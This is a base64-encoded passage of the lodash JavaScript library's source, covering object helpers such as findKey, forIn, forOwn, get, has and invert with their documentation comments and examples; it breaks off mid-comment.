ZGVmaW5lZCwgYXJncyk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmZpbmRgIGV4Y2VwdCB0aGF0IGl0IHJldHVybnMgdGhlIGtleSBvZiB0aGUgZmlyc3RcbiAgICAgKiBlbGVtZW50IGBwcmVkaWNhdGVgIHJldHVybnMgdHJ1dGh5IGZvciBpbnN0ZWFkIG9mIHRoZSBlbGVtZW50IGl0c2VsZi5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAxLjEuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge3N0cmluZ3x1bmRlZmluZWR9IFJldHVybnMgdGhlIGtleSBvZiB0aGUgbWF0Y2hlZCBlbGVtZW50LFxuICAgICAqICBlbHNlIGB1bmRlZmluZWRgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSB7XG4gICAgICogICAnYmFybmV5JzogIHsgJ2FnZSc6IDM2LCAnYWN0aXZlJzogdHJ1ZSB9LFxuICAgICAqICAgJ2ZyZWQnOiAgICB7ICdhZ2UnOiA0MCwgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICAncGViYmxlcyc6IHsgJ2FnZSc6IDEsICAnYWN0aXZlJzogdHJ1ZSB9XG4gICAgICogfTtcbiAgICAgKlxuICAgICAqIF8uZmluZEtleSh1c2VycywgZnVuY3Rpb24obykgeyByZXR1cm4gby5hZ2UgPCA0MDsgfSk7XG4gICAgICogLy8gPT4gJ2Jhcm5leScgKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZClcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kS2V5KHVzZXJzLCB7ICdhZ2UnOiAxLCAnYWN0aXZlJzogdHJ1ZSB9KTtcbiAgICAgKiAvLyA9PiAncGViYmxlcydcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzUHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmZpbmRLZXkodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiAnZnJlZCdcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uZmluZEtleSh1c2VycywgJ2FjdGl2ZScpO1xuICAgICAqIC8vID0+ICdiYXJuZXknXG4gICAgICovXG4gICAgZnVuY3Rpb24gZmluZEtleShvYmplY3QsIHByZWRpY2F0ZSkge1xuICAgICAgcmV0dXJuIGJhc2VGaW5kS2V5KG9iamVjdCwgZ2V0SXRlcmF0ZWUocHJlZGljYXRlLCAzKSwgYmFzZUZvck93bik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5maW5kS2V5YCBleGNlcHQgdGhhdCBpdCBpdGVyYXRlcyBvdmVyIGVsZW1lbnRzIG9mXG4gICAgICogYSBjb2xsZWN0aW9uIGluIHRoZSBvcHBvc2l0ZSBvcmRlci5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAyLjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge3N0cmluZ3x1bmRlZmluZWR9IFJldHVybnMgdGhlIGtleSBvZiB0aGUgbWF0Y2hlZCBlbGVtZW50LFxuICAgICAqICBlbHNlIGB1bmRlZmluZWRgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSB7XG4gICAgICogICAnYmFybmV5JzogIHsgJ2FnZSc6IDM2LCAnYWN0aXZlJzogdHJ1ZSB9LFxuICAgICAqICAgJ2ZyZWQnOiAgICB7ICdhZ2UnOiA0MCwgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICAncGViYmxlcyc6IHsgJ2FnZSc6IDEsICAnYWN0aXZlJzogdHJ1ZSB9XG4gICAgICogfTtcbiAgICAgKlxuICAgICAqIF8uZmluZExhc3RLZXkodXNlcnMsIGZ1bmN0aW9uKG8pIHsgcmV0dXJuIG8uYWdlIDwgNDA7IH0pO1xuICAgICAqIC8vID0+IHJldHVybnMgJ3BlYmJsZXMnIGFzc3VtaW5nIGBfLmZpbmRLZXlgIHJldHVybnMgJ2Jhcm5leSdcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kTGFzdEtleSh1c2VycywgeyAnYWdlJzogMzYsICdhY3RpdmUnOiB0cnVlIH0pO1xuICAgICAqIC8vID0+ICdiYXJuZXknXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc1Byb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kTGFzdEtleSh1c2VycywgWydhY3RpdmUnLCBmYWxzZV0pO1xuICAgICAqIC8vID0+ICdmcmVkJ1xuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kTGFzdEtleSh1c2VycywgJ2FjdGl2ZScpO1xuICAgICAqIC8vID0+ICdwZWJibGVzJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIGZpbmRMYXN0S2V5KG9iamVjdCwgcHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gYmFzZUZpbmRLZXkob2JqZWN0LCBnZXRJdGVyYXRlZShwcmVkaWNhdGUsIDMpLCBiYXNlRm9yT3duUmlnaHQpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEl0ZXJhdGVzIG92ZXIgb3duIGFuZCBpbmhlcml0ZWQgZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgcHJvcGVydGllcyBvZiBhblxuICAgICAqIG9iamVjdCBhbmQgaW52b2tlcyBgaXRlcmF0ZWVgIGZvciBlYWNoIHByb3BlcnR5LiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZFxuICAgICAqIHdpdGggdGhyZWUgYXJndW1lbnRzOiAodmFsdWUsIGtleSwgb2JqZWN0KS4gSXRlcmF0ZWUgZnVuY3Rpb25zIG1heSBleGl0XG4gICAgICogaXRlcmF0aW9uIGVhcmx5IGJ5IGV4cGxpY2l0bHkgcmV0dXJuaW5nIGBmYWxzZWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4zLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBzZWUgXy5mb3JJblJpZ2h0XG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIEZvbygpIHtcbiAgICAgKiAgIHRoaXMuYSA9IDE7XG4gICAgICogICB0aGlzLmIgPSAyO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIEZvby5wcm90b3R5cGUuYyA9IDM7XG4gICAgICpcbiAgICAgKiBfLmZvckluKG5ldyBGb28sIGZ1bmN0aW9uKHZhbHVlLCBrZXkpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKGtleSk7XG4gICAgICogfSk7XG4gICAgICogLy8gPT4gTG9ncyAnYScsICdiJywgdGhlbiAnYycgKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZCkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZm9ySW4ob2JqZWN0LCBpdGVyYXRlZSkge1xuICAgICAgcmV0dXJuIG9iamVjdCA9PSBudWxsXG4gICAgICAgID8gb2JqZWN0XG4gICAgICAgIDogYmFzZUZvcihvYmplY3QsIGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAzKSwga2V5c0luKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmZvckluYCBleGNlcHQgdGhhdCBpdCBpdGVyYXRlcyBvdmVyIHByb3BlcnRpZXMgb2ZcbiAgICAgKiBgb2JqZWN0YCBpbiB0aGUgb3Bwb3NpdGUgb3JkZXIuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBzZWUgXy5mb3JJblxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBGb28oKSB7XG4gICAgICogICB0aGlzLmEgPSAxO1xuICAgICAqICAgdGhpcy5iID0gMjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBGb28ucHJvdG90eXBlLmMgPSAzO1xuICAgICAqXG4gICAgICogXy5mb3JJblJpZ2h0KG5ldyBGb28sIGZ1bmN0aW9uKHZhbHVlLCBrZXkpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKGtleSk7XG4gICAgICogfSk7XG4gICAgICogLy8gPT4gTG9ncyAnYycsICdiJywgdGhlbiAnYScgYXNzdW1pbmcgYF8uZm9ySW5gIGxvZ3MgJ2EnLCAnYicsIHRoZW4gJ2MnLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGZvckluUmlnaHQob2JqZWN0LCBpdGVyYXRlZSkge1xuICAgICAgcmV0dXJuIG9iamVjdCA9PSBudWxsXG4gICAgICAgID8gb2JqZWN0XG4gICAgICAgIDogYmFzZUZvclJpZ2h0KG9iamVjdCwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDMpLCBrZXlzSW4pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEl0ZXJhdGVzIG92ZXIgb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkIHByb3BlcnRpZXMgb2YgYW4gb2JqZWN0IGFuZFxuICAgICAqIGludm9rZXMgYGl0ZXJhdGVlYCBmb3IgZWFjaCBwcm9wZXJ0eS4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCB0aHJlZVxuICAgICAqIGFyZ3VtZW50czogKHZhbHVlLCBrZXksIG9iamVjdCkuIEl0ZXJhdGVlIGZ1bmN0aW9ucyBtYXkgZXhpdCBpdGVyYXRpb25cbiAgICAgKiBlYXJseSBieSBleHBsaWNpdGx5IHJldHVybmluZyBgZmFsc2VgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMy4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKiBAc2VlIF8uZm9yT3duUmlnaHRcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gRm9vKCkge1xuICAgICAqICAgdGhpcy5hID0gMTtcbiAgICAgKiAgIHRoaXMuYiA9IDI7XG4gICAgICogfVxuICAgICAqXG4gICAgICogRm9vLnByb3RvdHlwZS5jID0gMztcbiAgICAgKlxuICAgICAqIF8uZm9yT3duKG5ldyBGb28sIGZ1bmN0aW9uKHZhbHVlLCBrZXkpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKGtleSk7XG4gICAgICogfSk7XG4gICAgICogLy8gPT4gTG9ncyAnYScgdGhlbiAnYicgKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZCkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZm9yT3duKG9iamVjdCwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiBvYmplY3QgJiYgYmFzZUZvck93bihvYmplY3QsIGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAzKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5mb3JPd25gIGV4Y2VwdCB0aGF0IGl0IGl0ZXJhdGVzIG92ZXIgcHJvcGVydGllcyBvZlxuICAgICAqIGBvYmplY3RgIGluIHRoZSBvcHBvc2l0ZSBvcmRlci5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAyLjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICogQHNlZSBfLmZvck93blxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBGb28oKSB7XG4gICAgICogICB0aGlzLmEgPSAxO1xuICAgICAqICAgdGhpcy5iID0gMjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBGb28ucHJvdG90eXBlLmMgPSAzO1xuICAgICAqXG4gICAgICogXy5mb3JPd25SaWdodChuZXcgRm9vLCBmdW5jdGlvbih2YWx1ZSwga2V5KSB7XG4gICAgICogICBjb25zb2xlLmxvZyhrZXkpO1xuICAgICAqIH0pO1xuICAgICAqIC8vID0+IExvZ3MgJ2InIHRoZW4gJ2EnIGFzc3VtaW5nIGBfLmZvck93bmAgbG9ncyAnYScgdGhlbiAnYicuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZm9yT3duUmlnaHQob2JqZWN0LCBpdGVyYXRlZSkge1xuICAgICAgcmV0dXJuIG9iamVjdCAmJiBiYXNlRm9yT3duUmlnaHQob2JqZWN0LCBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMykpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gYXJyYXkgb2YgZnVuY3Rpb24gcHJvcGVydHkgbmFtZXMgZnJvbSBvd24gZW51bWVyYWJsZSBwcm9wZXJ0aWVzXG4gICAgICogb2YgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBmdW5jdGlvbiBuYW1lcy5cbiAgICAgKiBAc2VlIF8uZnVuY3Rpb25zSW5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gRm9vKCkge1xuICAgICAqICAgdGhpcy5hID0gXy5jb25zdGFudCgnYScpO1xuICAgICAqICAgdGhpcy5iID0gXy5jb25zdGFudCgnYicpO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIEZvby5wcm90b3R5cGUuYyA9IF8uY29uc3RhbnQoJ2MnKTtcbiAgICAgKlxuICAgICAqIF8uZnVuY3Rpb25zKG5ldyBGb28pO1xuICAgICAqIC8vID0+IFsnYScsICdiJ11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBmdW5jdGlvbnMob2JqZWN0KSB7XG4gICAgICByZXR1cm4gb2JqZWN0ID09IG51bGwgPyBbXSA6IGJhc2VGdW5jdGlvbnMob2JqZWN0LCBrZXlzKG9iamVjdCkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gYXJyYXkgb2YgZnVuY3Rpb24gcHJvcGVydHkgbmFtZXMgZnJvbSBvd24gYW5kIGluaGVyaXRlZFxuICAgICAqIGVudW1lcmFibGUgcHJvcGVydGllcyBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gaW5zcGVjdC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGZ1bmN0aW9uIG5hbWVzLlxuICAgICAqIEBzZWUgXy5mdW5jdGlvbnNcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gRm9vKCkge1xuICAgICAqICAgdGhpcy5hID0gXy5jb25zdGFudCgnYScpO1xuICAgICAqICAgdGhpcy5iID0gXy5jb25zdGFudCgnYicpO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIEZvby5wcm90b3R5cGUuYyA9IF8uY29uc3RhbnQoJ2MnKTtcbiAgICAgKlxuICAgICAqIF8uZnVuY3Rpb25zSW4obmV3IEZvbyk7XG4gICAgICogLy8gPT4gWydhJywgJ2InLCAnYyddXG4gICAgICovXG4gICAgZnVuY3Rpb24gZnVuY3Rpb25zSW4ob2JqZWN0KSB7XG4gICAgICByZXR1cm4gb2JqZWN0ID09IG51bGwgPyBbXSA6IGJhc2VGdW5jdGlvbnMob2JqZWN0LCBrZXlzSW4ob2JqZWN0KSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgdmFsdWUgYXQgYHBhdGhgIG9mIGBvYmplY3RgLiBJZiB0aGUgcmVzb2x2ZWQgdmFsdWUgaXNcbiAgICAgKiBgdW5kZWZpbmVkYCwgdGhlIGBkZWZhdWx0VmFsdWVgIGlzIHJldHVybmVkIGluIGl0cyBwbGFjZS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjcuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIHByb3BlcnR5IHRvIGdldC5cbiAgICAgKiBAcGFyYW0geyp9IFtkZWZhdWx0VmFsdWVdIFRoZSB2YWx1ZSByZXR1cm5lZCBmb3IgYHVuZGVmaW5lZGAgcmVzb2x2ZWQgdmFsdWVzLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSByZXNvbHZlZCB2YWx1ZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiBbeyAnYic6IHsgJ2MnOiAzIH0gfV0gfTtcbiAgICAgKlxuICAgICAqIF8uZ2V0KG9iamVjdCwgJ2FbMF0uYi5jJyk7XG4gICAgICogLy8gPT4gM1xuICAgICAqXG4gICAgICogXy5nZXQob2JqZWN0LCBbJ2EnLCAnMCcsICdiJywgJ2MnXSk7XG4gICAgICogLy8gPT4gM1xuICAgICAqXG4gICAgICogXy5nZXQob2JqZWN0LCAnYS5iLmMnLCAnZGVmYXVsdCcpO1xuICAgICAqIC8vID0+ICdkZWZhdWx0J1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIGdldChvYmplY3QsIHBhdGgsIGRlZmF1bHRWYWx1ZSkge1xuICAgICAgdmFyIHJlc3VsdCA9IG9iamVjdCA9PSBudWxsID8gdW5kZWZpbmVkIDogYmFzZUdldChvYmplY3QsIHBhdGgpO1xuICAgICAgcmV0dXJuIHJlc3VsdCA9PT0gdW5kZWZpbmVkID8gZGVmYXVsdFZhbHVlIDogcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgcGF0aGAgaXMgYSBkaXJlY3QgcHJvcGVydHkgb2YgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgcGF0aGAgZXhpc3RzLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogeyAnYic6IDIgfSB9O1xuICAgICAqIHZhciBvdGhlciA9IF8uY3JlYXRlKHsgJ2EnOiBfLmNyZWF0ZSh7ICdiJzogMiB9KSB9KTtcbiAgICAgKlxuICAgICAqIF8uaGFzKG9iamVjdCwgJ2EnKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmhhcyhvYmplY3QsICdhLmInKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmhhcyhvYmplY3QsIFsnYScsICdiJ10pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaGFzKG90aGVyLCAnYScpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaGFzKG9iamVjdCwgcGF0aCkge1xuICAgICAgcmV0dXJuIG9iamVjdCAhPSBudWxsICYmIGhhc1BhdGgob2JqZWN0LCBwYXRoLCBiYXNlSGFzKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHBhdGhgIGlzIGEgZGlyZWN0IG9yIGluaGVyaXRlZCBwcm9wZXJ0eSBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGBwYXRoYCBleGlzdHMsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IF8uY3JlYXRlKHsgJ2EnOiBfLmNyZWF0ZSh7ICdiJzogMiB9KSB9KTtcbiAgICAgKlxuICAgICAqIF8uaGFzSW4ob2JqZWN0LCAnYScpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaGFzSW4ob2JqZWN0LCAnYS5iJyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5oYXNJbihvYmplY3QsIFsnYScsICdiJ10pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaGFzSW4ob2JqZWN0LCAnYicpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaGFzSW4ob2JqZWN0LCBwYXRoKSB7XG4gICAgICByZXR1cm4gb2JqZWN0ICE9IG51bGwgJiYgaGFzUGF0aChvYmplY3QsIHBhdGgsIGJhc2VIYXNJbik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBvYmplY3QgY29tcG9zZWQgb2YgdGhlIGludmVydGVkIGtleXMgYW5kIHZhbHVlcyBvZiBgb2JqZWN0YC5cbiAgICAgKiBJZiBgb2JqZWN0YCBjb250YWlucyBkdXBsaWNhdGUgdmFsdWVzLCBzdWJzZXF1ZW50IHZhbHVlcyBvdmVyd3JpdGVcbiAgICAgKiBwcm9wZXJ0eSBhc3NpZ25tZW50cyBvZiBwcmV2aW91cyB2YWx1ZXMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC43LjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGludmVydC5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgaW52ZXJ0ZWQgb2JqZWN0LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0ID0geyAnYSc6IDEsICdiJzogMiwgJ2MnOiAxIH07XG4gICAgICpcbiAgICAgKiBfLmludmVydChvYmplY3QpO1xuICAgICAqIC8vID0+IHsgJzEnOiAnYycsICcyJzogJ2InIH1cbiAgICAgKi9cbiAgICB2YXIgaW52ZXJ0ID0gY3JlYXRlSW52ZXJ0ZXIoZnVuY3Rpb24ocmVzdWx0LCB2YWx1ZSwga2V5KSB7XG4gICAgICBpZiAodmFsdWUgIT0gbnVsbCAmJlxuICAgICAgICAgIHR5cGVvZiB2YWx1ZS50b1N0cmluZyAhPSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHZhbHVlID0gbmF0aXZlT2JqZWN0VG9TdHJpbmcuY2FsbCh2YWx1ZSk7XG4gICAgICB9XG5cbiAgICAgIHJlc3VsdFt2YWx1ZV0gPSBrZXk7XG4gICAgfSwgY29uc3RhbnQoaWRlbnRpdHkpKTtcblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uaW52ZXJ0YCBleGNlcHQgdGhhdCB0aGUgaW52ZXJ0ZWQgb2JqZWN0IGlzIGdlbmVyYXRlZFxuICAgICAqIGZyb20gdGhlIHJlc3VsdHMgb2YgcnVubmluZyBlYWNoIGVsZW1lbnQgb2YgYG9iamVjdGAgdGhydSBgaXRlcmF0ZWVgLiBUaGVcbiAgICAgKiBjb3JyZXNwb25kaW5nIGludmVydGVkIHZhbHVlIG9mIGVhY2ggaW52ZXJ0ZWQga2V5IGlzIGFuIGFycmF5IG9mIGtleXNcbiAgICAgKiByZXNwb25zaWJsZSBmb3IgZ2VuZXJhdGluZyB0aGUgaW52ZXJ0ZWQgdmFsdWUuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkXG4gICAgICogd2l0aCBvbmUgYXJndW1lbnQ6ICh2YWx1ZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGludmVydC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9